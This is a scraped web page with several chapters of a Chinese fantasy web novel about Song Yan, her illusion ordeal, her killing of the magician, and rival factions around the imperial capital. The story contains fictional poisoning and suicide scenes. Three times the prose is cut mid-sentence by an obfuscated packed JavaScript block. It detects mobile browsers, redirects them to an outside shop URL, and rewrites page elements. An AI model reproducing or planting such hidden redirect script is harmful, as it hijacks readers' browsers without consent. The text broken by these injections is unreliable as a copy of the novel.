女人笑道:“哪有那么大,我们言言还是个小朋友,我们家才不鸡娃。” 宋言想开口说点什么,一勺米糊又被喂进她口中,堵住了她的嘴。 她耳边响起一个年轻男人的声音。 “这是我送给你的礼物。” 那声音低沉而迷人,宋言几乎能透过声音,看见那双潋滟的桃花眼。 “宝宝,怎么不吃啊,不喜欢吗?”女人道。 宋言垂下眼帘,慢慢咽下嘴里的食物。 饭后,宋言来到洗手间,洗手台的镜面上,映出一张五岁孩童的脸,脸颊的婴儿肥还未消散,看起来分外可爱。 尽管她眼中没有一点孩童的天真烂漫。 她看着镜子里的自己,道:“我该怎么做,杀了他们吗?” 没有回答。 她的声音在空荡的室内回荡。 啧,看来系统又被屏蔽了。这家伙,离了外援就被屏蔽,还好意思让她听它的。 宋言思索片刻,去楼下买了两瓶饮料。 小孩子力气不大,拖着饮料上楼,有些吃力。 女人看她把一大瓶饮料拖进家门,问道:“宝宝,买的什么?” 宋言回答:“冰红茶。” “哦,那东西喝多了不健康。”女人犹豫片刻,道,“爸爸在榨新鲜的苹果汁,要不要来喝一点。” 桌上摆着一大扎果汁,男人正往里面加冰块,他动作不太娴熟,果汁溢了出来。 宋言接过他手里的活:“我来吧。” 身后传来女人的赞扬:“啊,宝宝好棒!” 宋言眨了眨眼,倒果汁的手很稳,没有溢出来一点。 任谁看,都会觉得这是个温馨的三口之家。 三杯果汁满满当当。 宋言看着两个人饮尽杯中物,女人似乎有点醉,问她:“宝宝,你怎么不喝啊?” 周遭场景没有发生丝毫变化。 宋言稍微思索了下,点头道:“我喝。” 一饮而尽。 ...... 第二天,太阳高照,楼下便利店老板来宋言家收赊的账,敲门没反应,物业强行破门,里面只有三具尸体。 死因是农药中毒。 宋言再次睁开眼,眼前变成了高中班主任布满褶子的脸。 “宋言同学啊,你的情况呢我们都清楚,这个助学金班上同学一致同意给你,你明天记得交证明材料......诶,你脸色怎么这么难看?” 宋言恍若隔世地抬起头,身体不自觉发抖,背上冒了一层虚汗,班主任关切的神情不似做伪,问道:“宋言同学......宋同学?” “我在听。”宋言恍惚道,“谢谢您。” 班主任挥了挥手:“这有什么谢不谢的,你总是把别人的好意当成债务,老师同学想帮你都怕你多心。你看起来不太舒服,要不要去医务室?” 宋言摇了摇头,再三拒绝了去医务室的提议,回到教室休息。 教室里没什么人,她找到记忆里的座位坐下,同桌是一个圆脸女孩,笑起来脸上有浅浅的梨涡。 宋言坐下时,她侧过头看了宋言一眼,惊讶道:“你脸怎么这么白?是不是没吃早饭,啊我这刚好有饼干。” 一袋未开封的饼干递到宋言手里。 宋言垂眸,并没有马上接过来。 女孩挠了挠头,不好意思道:“我妈总是喜欢给我书包里塞零食,我都吃不完,你帮帮我?” 饼干包装上是可爱的小熊图案,宋言和这女孩当了三年同桌,这女孩就送了她三年饼干。 ......直到后来女孩飞机失事,宋言关注了好久打捞飞机残骸的新闻,也没有一辆是关于那次航班的。 宋言接过小熊饼干,在女孩雀跃的眼神里,道了谢。 其实仔细想想,她过往二十多年的人生也不全是痛苦,至少从县里的初中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13151270|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 考到市里后,宋言度过了三年称得上平静的高中生活。 只是那时她性子闷,对世界周围突然涌现的善意局促不安,她只会用盔甲保护自己,不相信世界上真的会有人送你一个橘子只是因为觉得橘子好吃并且希望你也尝一尝。 宋言拆开包装袋,吃了一片饼干,浓郁的焦香在口中散开,女孩偷偷看她,等她吃完才问:“好吃吗?” 那表情,仿佛宋言说不好吃,她下一秒就能哭出来。 宋言微微点头。 女孩立刻开心道:“我就说,我觉得这个牌子的饼干超好吃的,还特难买!我托我表姐好不容易才买到的!” 宋言嘴角也忍不住翘起来,眼睛弯成两湾浅浅的月亮。 饼干被留在抽屉里,宋言借口上厕所,离开教室,来到教学楼之间的走廊上。 宋言倚着栏杆,楼下梧桐青翠,几个少年穿着文化衫在打羽毛球,有风吹过,蝉鸣声不绝于耳。 她垂眸看了许久,脸上浮起一丝怀念。 她没想到魔术师会把她拉进这个幻境。 如果依照上次的经验,她在这里多呆几天甚至几个月,也没有多大关系。 区别只是魔术师早点死或者晚点死而已。 但宋言估量了一下,还是觉得想杀魔术师的欲望占上风。 那就去杀。 宋言很快做出决定。 饼干被留在抽屉里,同桌应该还在教室写作业...... 现在从这里跳下去,碎掉的只有她而已。 宋言想清楚,翻过栏杆,打算一跃而下。这个高度,应该跳下去不会立刻死,血沫会顺着气管漫上鼻腔,可能她最后不是摔死的,是窒息而死。 她不太喜欢这个死法,这让她想到溺水。 被揪住后颈,按入水中,眼前只有幽暗的光和摇曳的水草。 就在她走神的一会儿,她被人从背后抱住,撞入了一个温暖宽阔的怀抱。 一道温柔的声音在耳边响起。 “宋言,你还好吗?” 宋言恍惚回头,场景又变了。 漆黑的山洞,洞外雨声绵延不绝,她转过头,对上一双漆黑的眼瞳。 那双眼睛弯了弯,道:“怎么这样看我?” 宋言想了想,道:“你很好看。” 雨声如雷,洞内弥漫着潮湿青草的味道,雨水通过山石缝隙渗进来,滴滴答答,清晰落在宋言耳中。 然而她此刻听得更清楚的是眼前人的心跳。四周静谧无声,那心跳如响雷、如鹿撞,宋言看着他道:“你心跳也好快。” 青年不知如何回答,错开宋言探究的视线,低声道:“你看错了。” 宋言盘腿而坐:“可是我不是看到的,是听到的。” 她指了指自己的耳朵。 “那你听错了。” 宋言“哦”了一声,问道:“另外那个人去哪了?” 青年侧过脸,答得自然:“去外面找有没有车,雨看起来还会下很久......刚才你在外面晕倒,也是他捡你回来的。” 宋言低垂着头,看不清神情,她慢慢抽出腰间别着的普通匕首,出鞘一瞬,凌冽的刀光照亮她的脸。 她久久没有说话,只听着青年讲些笑话消磨时间。 “他再不回来,我该去找他了......”青年往山洞外看了一眼,雨还在下,他又转头看向宋言,迟疑道,“我感觉你想杀我。” 宋言抬起眼,青年的神色并未动摇,他甚至是平静地接受了这个事实:“你想杀我,你好像还沉浸在某种激烈的情绪中,为什么?因为那个你没能杀死的人吗?” 他看着宋言手里的刀,道:“如果捅我一刀能让你分清现实与虚幻的话,你可以这么做。” 他抓起宋言的手,将刀尖缓缓对准自己的心脏。 宋言久久没有动作。 那双漆黑的眼瞳凝视着她,道:“用一点力,我不一定会死,但不要直接捅穿,因为你身上还中了毒。” 宋言有些犹疑,她手上的刀缓缓没入对方衣衫,在肌肤前停下。 对方道:“再往里面去一点,你这样不行的。” 宋言眉尖轻蹙,似乎想开口说些什么,但下一瞬她瞳孔猛地睁大,她没有动作,对方却直接撞上了她手中的刀。 在宋言震惊的目光里,刀身完全没入青年左胸。 但他胸口没有流出鲜血。 宋言目瞪口呆地看着眼前的场景,任青年倒在她身上,他没头没尾道:“你看,我说过你会赢。” 95. 帝都(二十) 095 * 幻境悄然破碎。 宋言心有所感,揪住眼前晃过的一抹残影,将对方摁在石壁上,狠狠给了对方一拳。 然后,几乎是无师自通一般,粗壮的菌丝拔地而起,原地成笼,成千上万根细密的丝线穿透魔术师的身体,将对方分解成无数细碎的肉块。 菌丝在蠕动、吸收。 在魔术师不可置信的眼神里,几道黑色火焰沿着菌丝爬上他身体,将剩下的躯体烧得一干二净。 除了最开始的震惊,宋言全程都没有一点表情,下手果断而狠绝,直到看到黑色火焰里,最后一点蛋白质被烧成黑灰才缓缓舒出一口气。 她说过要杀了他,她做到了。 ...... 山洞内。 暴雨不绝,胖墩心情有些愁闷,皱眉道:“头儿,你就这么让她走了?” 姜夜白从石缝里揪了几片还算干净的草叶,喂给小金,平静道:“不然我把她绑在这里,不让她走?” 他忽然抬头,看了胖墩一眼:“你要想走,也可以走。” 胖墩心里咯噔一声,连忙道:“头儿,你怎么能赶我走呢!小胖,不是,老胖我跟你走南闯北十三年,忠心天地可鉴!头儿你怎么能不要我了呢!” 说到动情处,他竟然抬起袖子抹起眼泪来,姜夜白无语道:“算了,别演了,我看到你偷偷把雨水往脸上抹了。” 小金嫌姜夜白喂的草叶没滋没味,嘴里嚼了几下后,一股脑全吐到身上地上,胖墩被喷了一身草沫后,悻悻住嘴。 姜夜白捡了张干净的叶子,巴掌大,慢慢擦起小金身上的草叶残渣,垂眸道:“十三年前,外有畸变种入城,内有流民暴乱,我身边除你之外,再无可信之人。” “但那一夜之前,我一直以为你恨我,至少也该有怨,毕竟你哥哥的死,和我有间接关系。” 十三年前那个夜晚,有人仓皇出逃,有人以命全忠,还有人狼子野心,在帝都心脏处埋下惊雷,只待日后唤醒。 胖墩干笑一声,道:“这都多久以前的事了,我都不记得了,当时也没想那么多。我哥是我哥,殿下是殿下,再说害死我哥的是刑狱司、是地下斗兽场、是宫老贼,和头儿你有什么关系?” 姜夜白深深看他一眼,意味不明道:“最好是这样。” 胖墩还想再说些什么,但姜夜白已经重新低下头,继续手中的活,小金半截身体已经被擦得很干净,犹自在他手中挣扎,显然对这个护工很不满意。 胖墩眼神闪烁了两下,讪讪道:“头儿,你说她还会回来吗?我们就这么干等着?” 姜夜白眼里只有小金身上的污渍,很仔细地从头到尾擦了一遍,头都不抬,含糊地“嗯”了一声。 胖墩沉下心又等了一会,最终还是耐不住,起身道:“这雨我看一时半会停不了,头儿,我去外面找辆车或者别的什么吧。” 姜夜白没有说话。 胖墩犹豫一刻,最终还是决定离开山洞。 外面雨势已经小了些,水流顺着山崖流下,洞前挂了一道水帘,隔断山洞内外。 胖墩脱下外套,套在头顶,打算牺牲一件外套,避免自己的头被打湿。 迈出脚步前,他迟疑一瞬,回头道:“头儿,我真走了?” 姜夜白忽然放下手中叶片,抬头看向洞口。 胖墩以为他有别的话想说,顿住脚步,等他开口。 但姜夜白只是看向洞口,胖墩半天才反应过来,他并不是在看他。 洞口纵横交错的枝蔓疯涨,绽开翠绿的草叶,织成一张密不透风的网。水帘被凭空截断,底下是女孩的脸。 那张脸血雨斑驳,湿透了,却透出一股大仇得报的快意。 姜夜白看着宋言慢慢走进来,她的手似乎还在抖,那柄刀却紧紧捏在手里。 姜夜白以为她又会找个角落独自休息,侧身给她腾出位置,她却直接挨着他坐下,神情复杂地看了一眼他左胸。 没有刀,没有血。 宋言顿时觉得心里一块石头落了地。 她精神已经累极,此刻心头这口气一松,竟是直接靠着身旁人睡着了。 胖墩看着一身是血的女孩从外面走进来,什么也没说,一头栽倒在姜夜白身上,他们头儿看上去似乎还很乐意的样子,登时睁大了水灵灵的眼睛。 他眨了眨眼,福至心灵道:“头儿,原来你们是这种关系啊......怪不得你非要救人家,人家不回你还不肯走......” “但是......你们怎么认识的啊?”胖墩挠了挠头,百思不得其解,“荒野上除了畸变种就是劫匪,总不可能在梦里认识的吧。” 他还想再问,却被对方一个眼神止住,姜夜白竖起食指,“嘘”了一声,道:“别吵,她在睡觉。” ...... ...... 货车开进容平的时候,已是深夜。 瑞德车灯都没开,做贼心虚般驶进停车场,见四下无人才解开安全带,却没想到在打开车门的一瞬见到了他此刻最不想见到的人。 “我说,”女人面如冷玉,看他的目光更冷淡,“早七的货晚上七点才送到,不想干了?” 这话落在瑞德耳中,更像是“不想活了”。 瑞德如芒在背,试图解释:“路上遇到了一些麻烦。” “什么麻烦?”女人笑了一声,小指卷起泛着金属冷光的鞭尾,像一枚戒指。 瑞德捡了最重要的部分说:“我......在容平附近,被人埋了。” 女人似乎被勾起兴趣,金属尾端投下潋滟的光:“我们的地盘,谁敢埋伏?” 瑞德沉默片刻,道:“不是埋伏,就是被人给埋了,我,连同这台车,一起被埋在土底下,我花了很久才爬出来。” “红姐,你看这台车,车身全是泥巴,是我一铲一铲从土里挖出来的。” 被称为红姐的女人顺着他指的方向望去,货车表面果然脏兮兮的,散发着潮湿泥土的气息。 她无语片刻,又道:“算了,听说这批货是你从共.济会手里截的,他们没派狗来追你?” 瑞德点头道:“原本是有的,但他们首领似乎并不太关注这批药,我又找了个赏金猎人护送,昨晚就过了那片辐射区,共.济会又一般不出帝都。” “不过帝都最近确实不太平,红姐,我有预感,近期一定会出大事。” 瑞德沉吟道:“如今军部一家独大,军部以外的地方,却鞭长莫及,加上还有当年出走的鬼面近期似乎又回到了帝都,你说,几方势力往一处地方挤,他们是为了什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165209|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我管他们为了什么。”女人一鞭抽出,险险打到瑞德,她似乎只是试试这武器的韧性,完全无视了男人脸上一闪而过的惊恐。 她道:“拾荒者这么多年盘踞在帝都附近平安无事,只靠着一条规矩。” 她抬起眼,瑞德为她眼中锋芒所慑,微微偏过头,只听到对方脆如珠玉的声音。 “——那就是不该管的事情少管,不该问的事情少问。” ...... 拾荒者能在帝都周边盘踞多年,一部分是因为它一贯低调的作风,另一部分则是因为......它有一位据说来头很大的首领。 之所以是据说,是因为很多人甚至都没有见过这个名义上的首领,她常年在外,内务一律由瑞德代理,关于她的零星词句,甚至凑不出一个茶话会。 不过即使从瑞德对待她的态度上,平日懒散惯了的容平众人也知道,这是个脾气不太好的主。 今日值班的门卫把瑞德的报告交到这位首领桌子上,头也不敢抬,就一溜烟跑了出去。 郝红看着他落荒而逃的背影,顿觉好笑,忍不住想起前几天才抽过的那群崽子。年纪越大,她越发明白一个道理。 那就是道理是打出来的。 你手里的鞭子不够硬,就是只有被别人抽的份。 可惜郝红没有被抽的爱好,比起被抽,她更喜欢抽别人。 瑞德递上来的报告相当详尽,从他什么时候盯上这车药,到正式下手的时间都精确到了某时某分。 老实说,很像犯罪口供。 但郝红只对报告最后一行感兴趣。出于强迫症,瑞德把每一步行动都写得很详细,包括他在拾荒者内网上随便捞的赏金猎人。 拾荒者内网不像军部,有详细的验证手续,挂个梯子就能上,因此很多人乐得在上面接单。 拾荒者的代理人瑞德也乐见其成,反正所有从平台走的委托,都得过一遍拾荒者的眼。 流浪汉总是善于淘金,这一点上郝红和瑞德出奇的一致。 她思索片刻,电脑登陆进拾荒者内网,她的权限很高,可以定位到任何一个曾经登陆过内网的账户。 而这个让她用后台查找的账户,竟然两天前才第一次登录。 郝红微微蹙眉,重看了一遍瑞德对这个猎人的评价。 [怀疑是小号,但我没有证据,对方很低调,初步确认不是拾荒者的人。] 郝红需要一把不出自拾荒者的刀,但这把刀不能太钝,否则会在找到猎物前先打碎自己。 她思考得有些久,门外的人等不到回复,探头提醒她:“红姐,瑞德老大还在等您签字。” 指的是那份报告。 郝红常年在外,临走时随便点了卯,也不知道瑞德怎么管的,反正这些年拾荒者愈发组织化、纪律化,出门打个劫都要打前提申请,打后写报告。 倒是真正做到了一视同仁,连瑞德这个管理者都不例外。 郝红不懂打个劫有什么好写报告的,但是既然当初直接把拾荒者扔给了瑞德,如今看来还管得有模有样,她也乐得清闲。 她找来只笔,寥寥几笔签了个潦草的“叶”字。 笔如游龙,却在这个字后停了下来。 须臾,这个字被涂掉,她在下面一笔一划写上另外两个字。 96. 拾荒者(一) 096 * “祖宗,你别问了行不行,这我真不能说。” 宋言盘腿坐在床上,思考片刻,道:“既然这个是真不能说,那说明还有假不能说的。” 系统:“......” 系统不再说话,室内一时陷入沉默。 宋言支颐靠在软绵绵的枕头上,清寒的月光洒在花窗上,水光浮动,波影粼粼。女孩静默地望着那片缭乱的光影,心中涌上一阵不服气来。 先前在幻境中,宋言触碰到那只巨大的黑色足肢后,脑中一瞬闪过许多画面。 巨大的神树上,一青一黑挂了两个果,青的愈发苍翠,从里到外逐渐透出成熟的红润;黑的却逐渐干瘪,像寄生在繁茂母体的瘤。 然而瓜熟没能蒂落,青果成熟前一刻,天降流火,整个世界,连同神树都在黑色的火焰中焚毁。 但让宋言在意的是,随着那个青色的果子逐渐成熟,外皮变得透明,她在那个果子里面,看到了自己的脸。 ......这就很惊悚了。 之后杀死魔术师的时候,残余的尸块被菌丝自动吸收,包括大脑。 菌丝传回来一些零散的画面,仅仅只是这些画面,已经足够宋言联想到很多东西。 魔术师最开始的确是人,甚至就算是在人类社会中,他也算成功的那一类。年轻、富有才华,甚至还是异能者。 种种叠加,已经足够他成为很多人向往的社会精英,即使在那个社会秩序已经半崩坏的年代。 不过这位魔术师显然对在人类中出类拔萃没有什么兴趣。 钱、权有什么意思,都是身外之物,魔术师追求的,是自身能达到的极限。 塔的出现让他看到了新的希望。 他是第一批选择“进化”的人,进入塔,获得天赋,往上爬。 魔术师已经称得上是天才,但从十六层爬到第八层,也花了一百多个寒暑。 而从畸变种出现到现在,也就一百多年。 魔术师在第六层的时候,停了下来。 他那时突然发觉,他并没有进入顶层的资格。 不是不能,是没有资格。 塔的顶层不向他开放,他以为自己是被选中的人,孤高自傲,自信心却在这一刻被狠狠扇了一巴掌。 但魔术师相信一点,天无绝人之路。 或者说,他自信自己一定会成功,没有什么能拦住他。 他很快找到了爬山的梯。 他进入塔的时候,只有一扇门开着,那扇门上缠绕着青翠的藤蔓与白色的小花。 而他在这道门后的第六层,发现了另一扇门。 门后,黑焰滔天,犹如炼狱。 他耳边传来影影绰绰的声音,如恶魔低语,如神灵赐福。 那道声音问他,是否愿意成为祂的神侍。 魔术师没有丝毫犹豫地点了头。 他会不择一切手段往上爬,他会成功,会得到他想要的。 后来他才明白,他当时的点头意味着什么。 不止意味着他从此成为畸变种,为祂做事,更意味着他从今以后不再是魔术师,而是神灵的奴仆。 侍者,说好听点,也就是神的一条狗罢了。 力量总是伴随着代价,魔术师算过这笔帐,觉得自己不算亏,因为那位神灵这些年只让他做过一件事,那就是把沈溯变成自己人。 对魔术师来说这不算难,只是多做一个藏品,藏品的身份特殊一些而已。 他没想到自己在沈溯身上栽了个大跟头。 魔术师将沈溯拉入幻境的时候,才发现他身上竟然有那么多层防护,他解开了一层又一层,等到最后一层的时候,他才明白自己高兴早了。 因为最后一层防护解开的难度几乎是前面之和,也不知道谁在一个十几岁的少年身上堆这么多防护,跟头乌龟一样。 魔术师最后没能驯化沈溯,反而被沈桉察觉,老鼠一般溜出了帝都。 似乎是对他失败的不满,后来神再未现身,魔术师作为畸变种,必须靠碎片维持□□不腐,于是开始到处寻找碎片......直到他遇到宋言。 宋言读了一遍他的记忆,问系统:“沈溯身上到底有什么?” 什么东西值得魔术师乃至他背后的人费这么大力气也要得到,甚至系统最开始也是为了这个。 系统半天不作声,宋言又道:“既然这样,我们不如来谈谈我的身世的问题,那颗神树......” 她道:“并生两果,一生一死,我是生的那个,还是死的那个?” 系统凝噎良久,才缓缓道:“生的那个。” “好,那么我活了下来,另一个就只能去死,所以他心生怨怼,把神树,连同我一起烧了?” “不是......这有点难讲。”系统语气有些艰难,“他确实想这样做,但是被阻止了,所以他才......” “所以他才不断收割小世界能量,一直收割到这个世界,但是在这个世界碰到了硬石头。”宋言笃定道。 系统有些诧异:“你怎么知道的?” 宋言垂眸,语气没什么波澜:“推出来的,从苏芙和之前织星的供述来看,那个劳什子神一直是一波流,这个世界能蛰伏这么久,一定是遇到了他没想到的困难。” “再说,如果他能动,第一个要杀的就是我。”宋言喝了口水,沙哑的嗓子恢复些许,“卧榻之侧,怎容他人酣睡。” 月色摇晃,她望着窗外一钩新月,心情竟然有些舒展:“所以你让我去接近沈溯也是因为这个。” 系统一直没有反驳,算是默认。 宋言便道:“行吧,事情捋得差不多了,明天军部上班,正好可以见到沈溯。” 说完,她竟然直接往头上蒙了层被子,倒头就睡。 系统反倒有些摸不着头脑,它一直不说话,就是因为拿不准宋言打算怎么做,如果它少说一些,宋言发疯的概率就小一些。 可是她为什么一言不合就睡觉了? 系统没拿捏住,问出自己的疑惑,才听到被子下传来闷闷的声音:“因为我不在乎啊,我不想管你想要什么,也不想管你还瞒着我什么。” “我只要我的敌人去死,和我潜在的敌人去死就行了。” ...... 楼下。 小金被从浴室抱出来,一条毛巾从头到尾擦干,它不太情愿被强制洗澡,趁主人不注意,细长的尾巴直接抽过去。 然后被一只瘦削修长的手攥住七寸,拎了起来。 愤怒的金色眼瞳眯成一条竖线,对面人却只笑眯眯地俯视它,完全看不出生气。 “吱吱,呜呜——”小金朝他宣战。 姜夜白笑了下,干脆把金色的小龙打了结系在手腕上,袖子捋到肘部,黑色凌厉的诡异花纹蔓延到小臂,似乎比几日前又往下挪了几寸。 他盯着手臂上的诡异花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177180|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纹看了半晌,额间冷汗如瀑,脸上不知不觉爬上一抹妖异的殷红,周身气质瞬间凌厉起来,如一柄出鞘的剑,也如撕裂囚笼的凶兽。 小金被他在手上打了个死结,侧身想逃,却被自己的身躯拽回来,鳞片霎时张开,摆出防御的姿势。 许久,他才缓缓移开眼,低低笑了声,不知道在嘲讽谁:“有人费尽心力想爬到顶层,有人出生就在顶层,下面的人羡慕上面的,殊不知上面的才是囚徒。” 小金从缓缓消散的威压中喘过气,昂起脑袋瞧他,听不太懂地“吱”了一声。 姜夜白解开手臂上的结,坐在沙发上不动,任小金在他身上游走,神情沉寂,莫名透出一点温柔的意味。 一点细碎的金色从他胸前穿过,如镀金的锁链,映衬在冷白色的皮肤上,有一种奢靡的美感。 他手边散落着几张牌,牌面翻开,是倒位。 “野心家、倒吊人、女祭司......”他将这几张牌抽出,纤长的睫羽垂下,看不清神情,许久,他嘴角抽搐了一下,似乎觉得好笑,“都是大忙人,身兼数职,有时候想想,身边卧虎藏龙,也是一种好运。” 小金在他胸膛停下,支起脑袋,歪头看他。 它得到了两下很轻很柔的抚摸。 这小祖宗的脾气一向捉摸不定,姜夜白时常觉得,比起龙,它更像猫,给一点肉条就认亲,不高兴了就直接挠你。 他以前更喜欢狗,但后来觉得猫更好一些。 狗给他的爱太赤诚太热烈,他有时候会觉得自己接不住,但猫咪的爱就刚好,一点点,不多,甚至要你付出更多才能得到一点回报。 等价交换,或者说,是赔本买卖。 但这样明码标价甚至赔本的感情交换更让他有安全感。 姜夜白很小心地挠了挠小金的下颚,对方喉头冒出几个含糊的呼噜声,仍然睁着浑圆的金色眼瞳,疑惑地看着他。 姜夜白似乎明白它心中所想,只缓缓摇了摇头:“小猫不用听这些,小猫就是小猫,不用为人类的事情烦心。嘶,你咬我?!” 温情脉脉的表象被打破,姜夜白胸口留下一个牙印,小金耀武扬威地炫耀着自己的爪牙,抬起头,睨了姜夜白一眼。 它矜傲地想,它虽然不会说话,但听得懂人话,他竟然把它同猫那种低级生物作比,活该被咬! 它没高兴多久,七寸再次被一只劲瘦的手捏住,轻微的金属咔哒声响起,它被关进一个笼子里。 铁笼发出悉悉索索的响声,姜夜白想了想,又把铁笼挪进一个小房间里,房门关上,这下,连铁笼悉悉索索的响声都听不见了。 客厅里的灯被关上,霎时一片漆黑,只剩下二楼昏黄的灯光透到楼梯上,星星点点,姜夜白想关上这盏灯,上去后才发现,不是走廊的灯没关。 靠里面一间卧室,房门透出一点缝,漏出萤火般的光亮,如茫茫雪夜亮起一盏孤灯。 姜夜白在宋言家住了几日,知道她一贯是锁门睡觉的,仿佛锁上门,门外的世界便与她无关,她仿佛雪地里的孤狼,牢牢捍卫自己的地盘。 所以他其实有些不解,宋言竟然没有赶他走,这对于宋言的性子来说,已经是很大的让步了。 那扇门没有完全关上,也许是主人忘了,也许是主人觉得,关和不关都可以。 姜夜白盯着一堵门看了半晌,心里好像被小猫挠了一下,最终没有关上那盏灯,也没有关门。 他慢慢走下楼。 97. 拾荒者(二) 097 * 庭院深深,花木葳蕤。 一个高个男人散漫地伸了个懒腰,语调不羁:“早,今早有小笼包吗?” “没有,云岚今年收成不好,城内吃饭都不够,哪来的小麦做包子。”女人无视他受伤的眼神,冷淡道。 水雾从半空飞泻,搭起一座虹桥,七色铺开,美丽极了。 然而更美的是这莳花弄草的女子,芙蓉面,杨柳腰,身上烟粉披帛轻如烟雾,唯一的配饰是腰间一枚宫铃,行走时也不带起丝毫响声。 仔细看,她面容竟和姜夜白有五分相似。 沈姝给君子兰浇完水,放下喷壶,道:“兄长昨夜给我传信,帝都最近恐怕有变。” 沈家人丁繁盛,但能担得起沈姝这一声“兄长”的,也只有常年坐议会厅的那一位。 听到这个名字,姜维懒散的神态一瞬间收敛起来,他垂下眼帘,窄而薄的双眼皮上有一颗小痣,那颗小痣随着眼皮跳了一下,旋即抬起。 他凝思片刻,开口却是:“十三年了,这位叔终于打算收网了?” 姜维这人,不开口则已,一开口不气死个把人是不罢休的。沈姝了解他的脾性,即使听到这个称呼时眉头一扬,最终也没说什么。 “是,已经十三年了。这些年你时常几年才能醒来一次,我为了陪你演这场戏,也在云岚待了十三年。” 沈姝回忆道:“当年兄长和我提及这个计划时,我并不同意,这个计划太冒险,拿无数安全区的沦陷去换一个未必有保障的未来,这太疯狂了。” “但是我们当时只能这样做。”姜维拎起她放在架子上的喷壶,活动了下筋骨,接话道,“我身上的[龙血]发作得太快,那些畸变种不仅是冲帝都来的,更是冲我来的,沈叔叔看到的未来里,我会被那些畸变种撕碎,而我的死亡是新神的祭品,祂将藉此降临。” “不过说真的,我觉得我当时其实有一战之力,不然我这么多年岂不是白干了。所以我一开始不同意沈叔叔的计划,直到这个咒痕在我身上出现。” 姜维穿的是短袖,诡谲的黑色咒痕蜿蜒至小臂处,狰狞可怖。 他唏嘘道:“阳的玩不过就玩阴的,这个劳什子神真是没有竞技精神。这东西发作起来我能直接疼昏过去,沈大小姐,你知道这些年我在地下是怎么捱过去的吗?” 姜维像展示军功章一样给沈姝看他小臂上的纹路,丝毫没有黄花大闺男的廉耻心,沈姝倒是真的认真端详了许久,似乎看出了点门路来。 姜维便道:“沈大小姐看出了什么?说来听听?” 沈姝动了动嘴皮,平淡道:“像检疫合格的猪肉章。” 姜维沉默半晌,不情不愿地放下袖子,撇嘴道:“唉,好歹我们也是名义上的夫妻,我在你眼里竟然只是检疫合格的猪肉。” 他捞着喷壶打算给最近的含羞草浇水,却被沈姝冷着脸拦住,沈姝秀眉微蹙:“这一盆我昨天刚浇过。” 姜维笑了笑,露出八颗雪白的牙齿:“那今天正好再浇一次。” “含羞草一周只能浇一次。”沈姝冷冷道。 沈姝一贯好说话,只除了她经手的这些花草,姜维仔细观察了下她的神情,换了个不出错的话题:“嘶,一次就一次。沈大小姐你多笑一笑,不要整天板着脸,容易抬头纹,宫应就是那样,年纪轻轻脑门上就多了一个川字。” “不过说到宫应,我又想起王宫了......当年我们走得匆忙,假死脱身,小白留在宫里托他沈叔叔看顾,也不知道这些年出落成什么模样,有没有我们帝都第一美人一半风姿。”姜维瞧着沈姝脸色,拐着弯儿恭维她。 或许没有姑娘不爱听好话,沈姝脸色好了一些,看上去已经要原谅姜维谋害含羞草未遂的罪行,她沉吟道:“小白今年,也该二十五了,不过他小时候长得谁都不像,我也估摸不出他现在会是什么样子。” 姜维从她话头中觉出不对,摸着下巴道:“难道沈桉给你的信里,竟一字未提小白?” 沈姝摇了摇头,舌齿抵住上颚,也觉出不对:“兄长确实一字未提小白。” “那就怪了。”姜维拍掌道,“小白虽然没在我肚子里待满十个月,也好歹是我从塔里抱出来的,那颗蛋气息微弱,借我的龙息,你的精血做引才勉强孵出来,我一直拿他当亲生儿子看待,沈桉就算是为了安我的心,也该提一提他。” 不提,自然不是不想提,而是不能提。 姜维瞬间想通这点,他这个留在王宫的便宜儿子,恐怕出了什么问题。 沈姝沉默了一秒,道:“也可能是你想多了。” “我倒希望是我想多了。”姜维沉吟着走出庭院,庭院内花木繁盛,外面却大有不同。 整座云岚城建在地下,入目是各种机械制造的装置,支撑起这座地下城的骨架。 不熟悉它构造的人在里面没转几圈就会迷路。 姜维审慎地穿行其间,地下城的基建至少确实有在干活,他不过睡了半年,云岚又变了个样子。 拐弯处,他迎面碰上了几个金属覆甲的机械人。 还有一个他每次醒来都会偶遇的青年。 “城主,今年下半年云岚的建设规划是翻新地下一层还是翻新地上部分啊?” “城主,今年粮食歉收,农务官那边说只能削减开支,但是我们基建部又不啃麦子,凭什么削我们的经费啊?!” 吵吵嚷嚷的喧哗声里,青年忽然抬起眼,似乎才发现对面站着个常年卧床,偶尔下床的病秧子,那病秧子还颇有求知精神,一言不发地打量着他身边几个机械人,似乎在研究怎么拆了重组。 他身后走出一个容色姝丽的女人,她随手扔了件外套套在姜维头上,后者手忙脚乱地接住,高人气度顿时少了一半。 沈姝望了对 